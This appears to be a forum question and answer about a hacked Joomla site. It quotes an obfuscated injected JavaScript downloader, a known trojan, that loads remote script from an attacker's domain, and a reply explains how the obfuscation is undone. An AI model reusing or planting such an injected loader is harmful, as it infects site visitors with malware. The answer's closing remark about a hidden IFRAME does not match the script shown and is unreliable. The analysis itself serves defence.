My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.
My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET has detected this code as JS/TrojanDownloader.Agent.NRO trojan
Notice the replace call after the giant messy string: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').
It removes most of the special characters, turning it into a normal URL:
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(I manually changed http: to evil:)
Note that the regex could have been simplified to .replace(/[#$@^&()!]/ig, '')
If you look at the script, you'll see that it's a very simple script that injects a hidden IFRAME containing the path /index.php?ys from the same domain.
I requested that page in Fiddler, and it had no content.